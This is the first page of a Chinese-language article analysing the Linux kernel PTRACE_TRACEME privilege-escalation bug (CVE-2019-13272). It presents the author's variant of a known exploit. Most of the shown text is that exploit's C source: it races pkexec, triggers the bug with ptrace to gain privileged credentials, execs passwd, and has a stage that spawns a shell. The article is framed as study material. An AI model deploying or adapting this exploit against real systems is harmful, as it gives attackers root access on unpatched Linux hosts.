PTRACE_TRACEME CVE-2019-13272 本地提权漏洞解析
来源:岁月联盟
时间:2020-01-29
bcoles 的 exploit 在 jann horn 的基础上增加了寻找更多 helper binary 的代码, 因为 jann horn 的 helper 是一个写死的程序, 在很多发行版并不存在,所以他的 exploit 在很多发行版系统上无法运行, bcoles 的 exploit 可以在更多的发行版上运行成功
本人出于学习的目的,也写了一份 jiayy 的 exploit, 因为 helper binary 因不同发行版而异, pkexec 也是桌面发行版才有, 而事实上这个提权漏洞是 linux kernel 的漏洞, 所以我把 jann horn 的 exploit 改成了使用一个 fakepkexec 程序来提权, 而这个 fakepkexec 和 fakehelper 程序手动生成(而不是从目标系统搜索),这样一来学习者可以在任何存在本漏洞的 linux 系统(不需要桌面)运行我的 exploit 进行研究
exploit 分析
下面简单过一下 exploit 的代码
167 int main(int argc, char **argv) {
168 if (strcmp(argv[0], "stage2") == 0)
169 return middle_stage2();
170 if (strcmp(argv[0], "stage3") == 0)
171 return spawn_shell();
172
173 helper_path = "/tmp/fakehelper";
174
175 /*
176 * set up a pipe such that the next write to it will block: packet mode,
177 * limited to one packet
178 */
179 SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
180 SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
181 char dummy = 0;
182 SAFE(write(block_pipe[1], &dummy, 1));
183
184 /* spawn pkexec in a child, and continue here once our child is in execve() */
185 static char middle_stack[1024*1024];
186 pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
187 CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
188 if (!middle_success) return 1;
189
======================= skip =======================
215 }
先看行 186, 调用 clone 生成子进程(也就是 task B), task B 运行 middle_main
64 static int middle_main(void *dummy) {
65 prctl(PR_SET_PDEATHSIG, SIGKILL);
66 pid_t middle = getpid();
67
68 self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
69
70 pid_t child = SAFE(fork());
71 if (child == 0) {
72 prctl(PR_SET_PDEATHSIG, SIGKILL);
73
74 SAFE(dup2(self_fd, 42));
75
76 /* spin until our parent becomes privileged (have to be fast here) */
77 int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
78 char *needle = tprintf("nUid:t%dt0t", getuid());
79 while (1) {
80 char buf[1000];
81 ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
82 buf[buflen] = '';
83 if (strstr(buf, needle)) break;
84 }
85
86 /*
87 * this is where the bug is triggered.
88 * while our parent is in the middle of pkexec, we force it to become our
89 * tracer, with pkexec's creds as ptracer_cred.
90 */
91 SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
92
93 /*
94 * now we execute passwd. because the ptrace relationship is considered to
95 * be privileged, this is a proper suid execution despite the attached
96 * tracer, not a degraded one.
97 * at the end of execve(), this process receives a SIGTRAP from ptrace.
98 */
99 puts("executing passwd");
100 execl("/usr/bin/passwd", "passwd", NULL);
101 err(1, "execl passwd");
102 }
103
104 SAFE(dup2(self_fd, 0));
105 SAFE(dup2(block_pipe[1], 1));
106
107 struct passwd *pw = getpwuid(getuid());
108 if (pw == NULL) err(1, "getpwuid");
109
110 middle_success = 1;
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] 下一页